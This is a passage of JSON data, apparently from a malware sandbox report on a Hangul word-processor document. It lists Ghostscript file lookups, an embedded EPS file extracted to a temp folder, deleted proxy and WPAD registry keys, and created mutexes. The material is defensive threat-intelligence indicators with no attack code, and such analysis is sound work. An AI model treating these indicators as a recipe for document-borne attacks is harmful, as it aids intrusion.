ding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Font\\Encoding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\fonts\\Encoding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_cidtt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_cidtt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_cidtt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_cidtt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_cidfm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_cidfm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_cidfm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_cidfm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\cidfmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\cidfmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_cmap.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_cmap.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_cmap.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_cmap.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_setpd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_setpd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_setpd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_setpd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_typ32.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_typ32.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_typ32.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_typ32.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_frsd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_frsd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_frsd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_frsd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_ll3.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_ll3.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_ll3.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_ll3.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_mex_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_mex_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_mex_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_mex_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_mro_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_mro_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_mro_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_mro_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_pdf_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_pdf_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_pdf_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_pdf_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_wan_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_wan_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_wan_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_wan_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\pdf_ops.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\pdf_ops.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\pdf_ops.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\pdf_ops.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_l2img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_l2img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_l2img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_l2img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\pdf_rbld.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\pdf_rbld.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\pdf_rbld.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\pdf_rbld.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\pdf_base.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\pdf_base.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\pdf_base.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\pdf_base.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\pdf_draw.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\pdf_draw.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\pdf_draw.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\pdf_draw.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\pdf_font.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\pdf_font.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\pdf_font.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\pdf_font.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\pdf_main.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\pdf_main.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\pdf_main.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\pdf_main.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\pdf_sec.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\pdf_sec.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\pdf_sec.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\pdf_sec.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_css_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_css_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_css_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_css_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_cff.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_cff.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_cff.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_cff.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_mgl_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_mgl_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_mgl_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_mgl_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_agl.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_agl.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_agl.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_agl.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_ttf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_ttf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_ttf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_ttf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_icc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_icc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_icc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_icc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_dps.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_dps.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_dps.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_dps.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_dpnxt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_dpnxt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_dpnxt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_dpnxt.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_epsf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_epsf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_epsf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_epsf.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_fapi.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_fapi.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_fapi.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_fapi.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_pdfwr.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_pdfwr.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_pdfwr.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_pdfwr.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Fontmap.GS","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\Fontmap.GS","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\Fontmap.GS","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\Fontmap.GS","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Init\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\lib\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Font\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\fonts\\Fontmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Init\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\lib\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Font\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\fonts\\Halftone\\Default","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\Hnc\\BinData\\EMB00000ce043d3.eps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\HktyRgamGzceJni","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\EsEU","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\User\\Hwp\\hncreg.brg","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Fonts\\HGSMJ.HFT","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Fonts\\HGGGT.HFT","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Fonts\\HFTInfo.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%ALLUSERSPROFILE%\\HNC\\User\\Shared\\Fonts\\HFTInfo.ini","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\User\\Common\\80\\Fonts\\Fontlist\\Fontlist01.lst","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_1361.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\User\\Common\\80\\Fonts\\ShareFont.ini","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Fonts\\FontInfo.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%ALLUSERSPROFILE%\\HNC\\User\\Shared\\Fonts\\FontInfo.ini","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{FD4316C2-FF33-42BF-BE78-39051EB67EC2}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\NDRIVE_SHARE_MUTEX","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\C:_Users_W55GF1A_AppData_Local_Temp_Hwp80_________.asv","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"C:_Users_W55GF1A_AppData_Local_Temp_Hwp80_________.asv","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"NDRIVE_SHARE_MUTEX","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"f7522658